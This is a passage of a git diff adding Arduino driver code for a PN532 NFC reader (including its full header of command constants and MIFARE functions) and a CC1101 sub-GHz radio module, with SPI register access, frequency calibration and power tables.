+ // SPI command write. + uint8_t checksum; + uint8_t packet[9 + cmdlen]; + uint8_t *p = packet; + cmdlen++; + + p[0] = PN532_SPI_DATAWRITE; + p++; + + p[0] = PN532_PREAMBLE; + p++; + p[0] = PN532_STARTCODE1; + p++; + p[0] = PN532_STARTCODE2; + p++; + checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2; + + p[0] = cmdlen; + p++; + p[0] = ~cmdlen + 1; + p++; + + p[0] = PN532_HOSTTOPN532; + p++; + checksum += PN532_HOSTTOPN532; + + for (uint8_t i = 0; i < cmdlen - 1; i++) { + p[0] = cmd[i]; + p++; + checksum += cmd[i]; + } + + p[0] = ~checksum; + p++; + p[0] = PN532_POSTAMBLE; + p++; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + spi_dev->write(packet, 8 + cmdlen); + } else if (i2c_dev || ser_dev) { + // I2C or Serial command write. + uint8_t packet[8 + cmdlen]; + uint8_t LEN = cmdlen + 1; + + packet[0] = PN532_PREAMBLE; + packet[1] = PN532_STARTCODE1; + packet[2] = PN532_STARTCODE2; + packet[3] = LEN; + packet[4] = ~LEN + 1; + packet[5] = PN532_HOSTTOPN532; + uint8_t sum = 0; + for (uint8_t i = 0; i < cmdlen; i++) { + packet[6 + i] = cmd[i]; + sum += cmd[i]; + } + packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1; + packet[7 + cmdlen] = PN532_POSTAMBLE; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + if (i2c_dev) { + i2c_dev->write(packet, 8 + cmdlen); + } else { + ser_dev->write(packet, 8 + cmdlen); + } + } +} diff --git a/test/Adafruit_PN532.h b/test/Adafruit_PN532.h new file mode 100644 index 0000000..6fcb053 --- /dev/null +++ b/test/Adafruit_PN532.h @@ -0,0 +1,223 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.h + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.1 - Added full command list + - Added 'verbose' mode flag to constructor to toggle debug output + - Changed readPassiveTargetID() to return variable length values +*/ +/**************************************************************************/ + +#ifndef ADAFRUIT_PN532_H +#define ADAFRUIT_PN532_H + +#include "Arduino.h" + +#include +#include + +#define PN532_PREAMBLE (0x00) ///< Command sequence start, byte 1/3 +#define PN532_STARTCODE1 (0x00) ///< Command sequence start, byte 2/3 +#define PN532_STARTCODE2 (0xFF) ///< Command sequence start, byte 3/3 +#define PN532_POSTAMBLE (0x00) ///< EOD + +#define PN532_HOSTTOPN532 (0xD4) ///< Host-to-PN532 +#define PN532_PN532TOHOST (0xD5) ///< PN532-to-host + +// PN532 Commands +#define PN532_COMMAND_DIAGNOSE (0x00) ///< Diagnose +#define PN532_COMMAND_GETFIRMWAREVERSION (0x02) ///< Get firmware version +#define PN532_COMMAND_GETGENERALSTATUS (0x04) ///< Get general status +#define PN532_COMMAND_READREGISTER (0x06) ///< Read register +#define PN532_COMMAND_WRITEREGISTER (0x08) ///< Write register +#define PN532_COMMAND_READGPIO (0x0C) ///< Read GPIO +#define PN532_COMMAND_WRITEGPIO (0x0E) ///< Write GPIO +#define PN532_COMMAND_SETSERIALBAUDRATE (0x10) ///< Set serial baud rate +#define PN532_COMMAND_SETPARAMETERS (0x12) ///< Set parameters +#define PN532_COMMAND_SAMCONFIGURATION (0x14) ///< SAM configuration +#define PN532_COMMAND_POWERDOWN (0x16) ///< Power down +#define PN532_COMMAND_RFCONFIGURATION (0x32) ///< RF config +#define PN532_COMMAND_RFREGULATIONTEST (0x58) ///< RF regulation test +#define PN532_COMMAND_INJUMPFORDEP (0x56) ///< Jump for DEP +#define PN532_COMMAND_INJUMPFORPSL (0x46) ///< Jump for PSL +#define PN532_COMMAND_INLISTPASSIVETARGET (0x4A) ///< List passive target +#define PN532_COMMAND_INATR (0x50) ///< ATR +#define PN532_COMMAND_INPSL (0x4E) ///< PSL +#define PN532_COMMAND_INDATAEXCHANGE (0x40) ///< Data exchange +#define PN532_COMMAND_INCOMMUNICATETHRU (0x42) ///< Communicate through +#define PN532_COMMAND_INDESELECT (0x44) ///< Deselect +#define PN532_COMMAND_INRELEASE (0x52) ///< Release +#define PN532_COMMAND_INSELECT (0x54) ///< Select +#define PN532_COMMAND_INAUTOPOLL (0x60) ///< Auto poll +#define PN532_COMMAND_TGINITASTARGET (0x8C) ///< Init as target +#define PN532_COMMAND_TGSETGENERALBYTES (0x92) ///< Set general bytes +#define PN532_COMMAND_TGGETDATA (0x86) ///< Get data +#define PN532_COMMAND_TGSETDATA (0x8E) ///< Set data +#define PN532_COMMAND_TGSETMETADATA (0x94) ///< Set metadata +#define PN532_COMMAND_TGGETINITIATORCOMMAND (0x88) ///< Get initiator command +#define PN532_COMMAND_TGRESPONSETOINITIATOR (0x90) ///< Response to initiator +#define PN532_COMMAND_TGGETTARGETSTATUS (0x8A) ///< Get target status + +#define PN532_RESPONSE_INDATAEXCHANGE (0x41) ///< Data exchange +#define PN532_RESPONSE_INLISTPASSIVETARGET (0x4B) ///< List passive target + +#define PN532_WAKEUP (0x55) ///< Wake + +#define PN532_SPI_STATREAD (0x02) ///< Stat read +#define PN532_SPI_DATAWRITE (0x01) ///< Data write +#define PN532_SPI_DATAREAD (0x03) ///< Data read +#define PN532_SPI_READY (0x01) ///< Ready + +// My fucking clone board for some goddamn reason uses the address 0x28 +//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address +#define PN532_I2C_ADDRESS (0x28) +#define PN532_I2C_READBIT (0x01) ///< Read bit +#define PN532_I2C_BUSY (0x00) ///< Busy +#define PN532_I2C_READY (0x01) ///< Ready +#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout + +#define PN532_MIFARE_ISO14443A (0x00) ///< MiFare + +// Mifare Commands +#define MIFARE_CMD_AUTH_A (0x60) ///< Auth A +#define MIFARE_CMD_AUTH_B (0x61) ///< Auth B +#define MIFARE_CMD_READ (0x30) ///< Read +#define MIFARE_CMD_WRITE (0xA0) ///< Write +#define MIFARE_CMD_TRANSFER (0xB0) ///< Transfer +#define MIFARE_CMD_DECREMENT (0xC0) ///< Decrement +#define MIFARE_CMD_INCREMENT (0xC1) ///< Increment +#define MIFARE_CMD_STORE (0xC2) ///< Store +#define MIFARE_ULTRALIGHT_CMD_WRITE (0xA2) ///< Write (MiFare Ultralight) + +// Prefixes for NDEF Records (to identify record type) +#define NDEF_URIPREFIX_NONE (0x00) ///< No prefix +#define NDEF_URIPREFIX_HTTP_WWWDOT (0x01) ///< HTTP www. prefix +#define NDEF_URIPREFIX_HTTPS_WWWDOT (0x02) ///< HTTPS www. prefix +#define NDEF_URIPREFIX_HTTP (0x03) ///< HTTP prefix +#define NDEF_URIPREFIX_HTTPS (0x04) ///< HTTPS prefix +#define NDEF_URIPREFIX_TEL (0x05) ///< Tel prefix +#define NDEF_URIPREFIX_MAILTO (0x06) ///< Mailto prefix +#define NDEF_URIPREFIX_FTP_ANONAT (0x07) ///< FTP +#define NDEF_URIPREFIX_FTP_FTPDOT (0x08) ///< FTP dot +#define NDEF_URIPREFIX_FTPS (0x09) ///< FTPS +#define NDEF_URIPREFIX_SFTP (0x0A) ///< SFTP +#define NDEF_URIPREFIX_SMB (0x0B) ///< SMB +#define NDEF_URIPREFIX_NFS (0x0C) ///< NFS +#define NDEF_URIPREFIX_FTP (0x0D) ///< FTP +#define NDEF_URIPREFIX_DAV (0x0E) ///< DAV +#define NDEF_URIPREFIX_NEWS (0x0F) ///< NEWS +#define NDEF_URIPREFIX_TELNET (0x10) ///< Telnet prefix +#define NDEF_URIPREFIX_IMAP (0x11) ///< IMAP prefix +#define NDEF_URIPREFIX_RTSP (0x12) ///< RTSP +#define NDEF_URIPREFIX_URN (0x13) ///< URN +#define NDEF_URIPREFIX_POP (0x14) ///< POP +#define NDEF_URIPREFIX_SIP (0x15) ///< SIP +#define NDEF_URIPREFIX_SIPS (0x16) ///< SIPS +#define NDEF_URIPREFIX_TFTP (0x17) ///< TFPT +#define NDEF_URIPREFIX_BTSPP (0x18) ///< BTSPP +#define NDEF_URIPREFIX_BTL2CAP (0x19) ///< BTL2CAP +#define NDEF_URIPREFIX_BTGOEP (0x1A) ///< BTGOEP +#define NDEF_URIPREFIX_TCPOBEX (0x1B) ///< TCPOBEX +#define NDEF_URIPREFIX_IRDAOBEX (0x1C) ///< IRDAOBEX +#define NDEF_URIPREFIX_FILE (0x1D) ///< File +#define NDEF_URIPREFIX_URN_EPC_ID (0x1E) ///< URN EPC ID +#define NDEF_URIPREFIX_URN_EPC_TAG (0x1F) ///< URN EPC tag +#define NDEF_URIPREFIX_URN_EPC_PAT (0x20) ///< URN EPC pat +#define NDEF_URIPREFIX_URN_EPC_RAW (0x21) ///< URN EPC raw +#define NDEF_URIPREFIX_URN_EPC (0x22) ///< URN EPC +#define NDEF_URIPREFIX_URN_NFC (0x23) ///< URN NFC + +#define PN532_GPIO_VALIDATIONBIT (0x80) ///< GPIO validation bit +#define PN532_GPIO_P30 (0) ///< GPIO 30 +#define PN532_GPIO_P31 (1) ///< GPIO 31 +#define PN532_GPIO_P32 (2) ///< GPIO 32 +#define PN532_GPIO_P33 (3) ///< GPIO 33 +#define PN532_GPIO_P34 (4) ///< GPIO 34 +#define PN532_GPIO_P35 (5) ///< GPIO 35 + +/** + * @brief Class for working with Adafruit PN532 NFC/RFID breakout boards. + */ +class Adafruit_PN532 { +public: + Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss); // Software SPI + Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI + Adafruit_PN532(uint8_t irq, uint8_t reset, + TwoWire *theWire = &Wire); // Hardware I2C + Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART + bool begin(void); + + void reset(void); + void wakeup(void); + + // Generic PN532 functions + bool SAMConfig(void); + uint32_t getFirmwareVersion(void); + bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout = 100); + bool writeGPIO(uint8_t pinstate); + uint8_t readGPIO(void); + bool setPassiveActivationRetries(uint8_t maxRetries); + + // ISO14443A functions + bool readPassiveTargetID( + uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength, + uint16_t timeout = 0); // timeout 0 means no timeout - will block forever. + bool startPassiveTargetIDDetection(uint8_t cardbaudrate); + bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength); + bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response, + uint8_t *responseLength); + bool inListPassiveTarget(); + uint8_t AsTarget(); + uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen); + uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen); + + // Mifare Classic functions + bool mifareclassic_IsFirstBlock(uint32_t uiBlock); + bool mifareclassic_IsTrailerBlock(uint32_t uiBlock); + uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, uint8_t *keyData); + uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_FormatNDEF(void); + uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, const char *url); + + // Mifare Ultralight functions + uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data); + + // NTAG2xx functions + uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data); + uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen); + + // Help functions to display formatted text + static void PrintHex(const byte *data, const uint32_t numBytes); + static void PrintHexChar(const byte *pbtData, const uint32_t numBytes); + +private: + int8_t _irq = -1, _reset = -1, _cs = -1; + int8_t _uid[7]; // ISO14443A uid + int8_t _uidLen; // uid len + int8_t _key[6]; // Mifare Classic key + int8_t _inListedTag; // Tg number of inlisted tag. + + // Low level communication functions that handle both SPI and I2C. + void readdata(uint8_t *buff, uint8_t n); + void writecommand(uint8_t *cmd, uint8_t cmdlen); + bool isready(); + bool waitready(uint16_t timeout); + bool readack(); + + Adafruit_SPIDevice *spi_dev = NULL; + Adafruit_I2CDevice *i2c_dev = NULL; + HardwareSerial *ser_dev = NULL; +}; + +#endif diff --git a/test/ELECHOUSE_CC1101_SRC_DRV.cpp b/test/ELECHOUSE_CC1101_SRC_DRV.cpp new file mode 100644 index 0000000..5568989 --- /dev/null +++ b/test/ELECHOUSE_CC1101_SRC_DRV.cpp @@ -0,0 +1,1309 @@ +/* + ELECHOUSE_CC1101.cpp - CC1101 module library + Copyright (c) 2010 Michael. + Author: Michael, + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#include +#include "ELECHOUSE_CC1101_SRC_DRV.h" +#include + +/****************************************************************/ +#define WRITE_BURST 0x40 //write burst +#define READ_SINGLE 0x80 //read single +#define READ_BURST 0xC0 //read burst +#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo +#define max_modul 6 + +SPIClass CCSPI(HSPI); + +byte modulation = 2; +byte frend0; +byte chan = 0; +int pa = 12; +byte last_pa; +byte SCK_PIN; +byte MISO_PIN; +byte MOSI_PIN; +byte SS_PIN; +byte GDO0; +byte GDO2; +byte SCK_PIN_M[max_modul]; +byte MISO_PIN_M[max_modul]; +byte MOSI_PIN_M[max_modul]; +byte SS_PIN_M[max_modul]; +byte GDO0_M[max_modul]; +byte GDO2_M[max_modul]; +byte gdo_set=0; +bool spi = 0; +bool ccmode = 0; +float MHz = 433.92; +byte m4RxBw = 0; +byte m4DaRa; +byte m2DCOFF; +byte m2MODFM; +byte m2MANCH; +byte m2SYNCM; +byte m1FEC; +byte m1PRE; +byte m1CHSP; +byte pc1PQT; +byte pc1CRC_AF; +byte pc1APP_ST; +byte pc1ADRCHK; +byte pc0WDATA; +byte pc0PktForm; +byte pc0CRC_EN; +byte pc0LenConf; +byte trxstate = 0; +byte clb1[2]= {24,28}; +byte clb2[2]= {31,38}; +byte clb3[2]= {65,76}; +byte clb4[2]= {77,79}; + +/****************************************************************/ +uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; +// -30 -20 -15 -10 0 5 7 10 +uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 +uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 +// -30 -20 -15 -10 -6 0 5 7 10 12 +uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 +// -30 -20 -15 -10 -6 0 5 7 10 11 +uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 +/**************************************************************** +*FUNCTION NAME:SpiStart +*FUNCTION :spi communication start +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStart(void) +{ + // initialize the SPI pins + pinMode(SCK_PIN, OUTPUT); + pinMode(MOSI_PIN, OUTPUT); + pinMode(MISO_PIN, INPUT); + pinMode(SS_PIN, OUTPUT); + + // enable SPI + #ifdef ESP32 + CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN); + #else + CCSPI.begin(); + #endif +} +/**************************************************************** +*FUNCTION NAME:SpiEnd +*FUNCTION :spi communication disable +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiEnd(void) +{ + // disable SPI + CCSPI.endTransaction(); + CCSPI.end(); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0,GDO2 pin for serial pinmode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO_Set (void) +{ + pinMode(GDO0, OUTPUT); + pinMode(GDO2, INPUT); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0 for internal transmission mode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO0_Set (void) +{ + pinMode(GDO0, INPUT); +} +/**************************************************************** +*FUNCTION NAME:Reset +*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Reset (void) +{ + digitalWrite(SS_PIN, LOW); + delay(1); + digitalWrite(SS_PIN, HIGH); + delay(1); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(CC1101_SRES); + while(digitalRead(MISO_PIN)); + digitalWrite(SS_PIN, HIGH); +} +/**************************************************************** +*FUNCTION NAME:Init +*FUNCTION :CC1101 initialization +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Init(void) +{ + setSpi(); + SpiStart(); //spi initialization + digitalWrite(SS_PIN, HIGH); + digitalWrite(SCK_PIN, HIGH); + digitalWrite(MOSI_PIN, LOW); + Reset(); //CC1101 reset + RegConfigSettings(); //CC1101 register config + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteReg +*FUNCTION :CC1101 write data to register +*INPUT :addr: register address; value: register value +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(addr); + CCSPI.transfer(value); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteBurstReg +*FUNCTION :CC1101 write burst data to register +*INPUT :addr: register address; buffer:register value array; num:number to write +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) +{ + byte i, temp; + SpiStart(); + temp = addr | WRITE_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + for (i = 0; i < num; i++) + { + CCSPI.transfer(buffer[i]); + } + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiStrobe +*FUNCTION :CC1101 Strobe +*INPUT :strobe: command; //refer define in CC1101.h// +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStrobe(byte strobe) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(strobe); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiReadReg +*FUNCTION :CC1101 read data from register +*INPUT :addr: register address +*OUTPUT :register value +****************************************************************/ +byte ELECHOUSE_CC1101::SpiReadReg(byte addr) +{ + byte temp, value; + SpiStart(); + temp = addr| READ_SINGLE; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + value=CCSPI.transfer(0); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); + return value; +} + +/**************************************************************** +*FUNCTION NAME:SpiReadBurstReg +*FUNCTION :CC1101 read burst data from register +*INPUT :addr: register address; buffer:array to store register value; num: number to read +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) +{ + byte i,temp; + SpiStart(); + temp = addr | READ_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + for(i=0;i4){m=4;} +modulation = m; +Split_MDMCFG2(); +switch (m) +{ +case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK +case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK +case 2: m2MODFM=0x30; frend0=0x11; break; // ASK +case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK +case 4: m2MODFM=0x70; frend0=0x10; break; // MSK +} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +SpiWriteReg(CC1101_FREND0, frend0); +setPA(pa); +} +/**************************************************************** +*FUNCTION NAME:PA Power +*FUNCTION :set CC1101 PA Power +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPA(int p) +{ +int a; +pa = p; + +if (MHz >= 300 && MHz <= 348){ +if (pa <= -30){a = PA_TABLE_315[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];} +else if (pa > 7){a = PA_TABLE_315[7];} +last_pa = 1; +} +else if (MHz >= 378 && MHz <= 464){ +if (pa <= -30){a = PA_TABLE_433[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];} +else if (pa > 7){a = PA_TABLE_433[7];} +last_pa = 2; +} +else if (MHz >= 779 && MHz <= 899.99){ +if (pa <= -30){a = PA_TABLE_868[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];} +else if (pa > 10){a = PA_TABLE_868[9];} +last_pa = 3; +} +else if (MHz >= 900 && MHz <= 928){ +if (pa <= -30){a = PA_TABLE_915[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];} +else if (pa > 10){a = PA_TABLE_915[9];} +last_pa = 4; +} +if (modulation == 2){ +PA_TABLE[0] = 0; +PA_TABLE[1] = a; +}else{ +PA_TABLE[0] = a; +PA_TABLE[1] = 0; +} +SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); +} +/**************************************************************** +*FUNCTION NAME:Frequency Calculator +*FUNCTION :Calculate the basic frequency. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setMHZ(float mhz){ +byte freq2 = 0; +byte freq1 = 0; +byte freq0 = 0; + +MHz = mhz; + +for (bool i = 0; i==0;){ +if (mhz >= 26){ +mhz-=26; +freq2+=1; +} +else if (mhz >= 0.1015625){ +mhz-=0.1015625; +freq1+=1; +} +else if (mhz >= 0.00039675){ +mhz-=0.00039675; +freq0+=1; +} +else{i=1;} +} +if (freq0 > 255){freq1+=1;freq0-=256;} + +SpiWriteReg(CC1101_FREQ2, freq2); +SpiWriteReg(CC1101_FREQ1, freq1); +SpiWriteReg(CC1101_FREQ0, freq0); + +Calibrate(); +} +/**************************************************************** +*FUNCTION NAME:Calibrate +*FUNCTION :Calibrate frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Calibrate(void){ + +if (MHz >= 300 && MHz <= 348){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1])); +if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 1){setPA(pa);} +} +} +else if (MHz >= 378 && MHz <= 464){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1])); +if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 2){setPA(pa);} +} +} +else if (MHz >= 779 && MHz <= 899.99){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1])); +if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 3){setPA(pa);} +} +} +else if (MHz >= 900 && MHz <= 928){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1])); +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 4){setPA(pa);} +} +} +/**************************************************************** +*FUNCTION NAME:Calibration offset +*FUNCTION :Set calibration offset +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){ +if (b == 1){ +clb1[0]=s; +clb1[1]=e; +} +else if (b == 2){ +clb2[0]=s; +clb2[1]=e; +} +else if (b == 3){ +clb3[0]=s; +clb3[1]=e; +} +else if (b == 4){ +clb4[0]=s; +clb4[1]=e; +} +} +/**************************************************************** +*FUNCTION NAME:getCC1101 +*FUNCTION :Test Spi connection and return 1 when true. +*INPUT :none +*OUTPUT :none +****************************************************************/ +bool ELECHOUSE_CC1101::getCC1101(void){ +setSpi(); +if (SpiReadStatus(0x31)>0){ +return 1; +}else{ +return 0; +} +} +/**************************************************************** +*FUNCTION NAME:getMode +*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getMode(void){ +return trxstate; +} +/**************************************************************** +*FUNCTION NAME:Set Sync_Word +*FUNCTION :Sync Word +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){ +SpiWriteReg(CC1101_SYNC1, sh); +SpiWriteReg(CC1101_SYNC0, sl); +} +/**************************************************************** +*FUNCTION NAME:Set ADDR +*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAddr(byte v){ +SpiWriteReg(CC1101_ADDR, v); +} +/**************************************************************** +*FUNCTION NAME:Set PQT +*FUNCTION :Preamble quality estimator threshold +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPQT(byte v){ +Split_PKTCTRL1(); +pc1PQT = 0; +if (v>7){v=7;} +pc1PQT = v*32; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set CRC_AUTOFLUSH +*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCRC_AF(bool v){ +Split_PKTCTRL1(); +pc1CRC_AF = 0; +if (v==1){pc1CRC_AF=8;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set APPEND_STATUS +*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAppendStatus(bool v){ +Split_PKTCTRL1(); +pc1APP_ST = 0; +if (v==1){pc1APP_ST=4;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set ADR_CHK +*FUNCTION :Controls address check configuration of received packages +*INPUT :none +*OUTPUT :none +****************************************************************/ +void 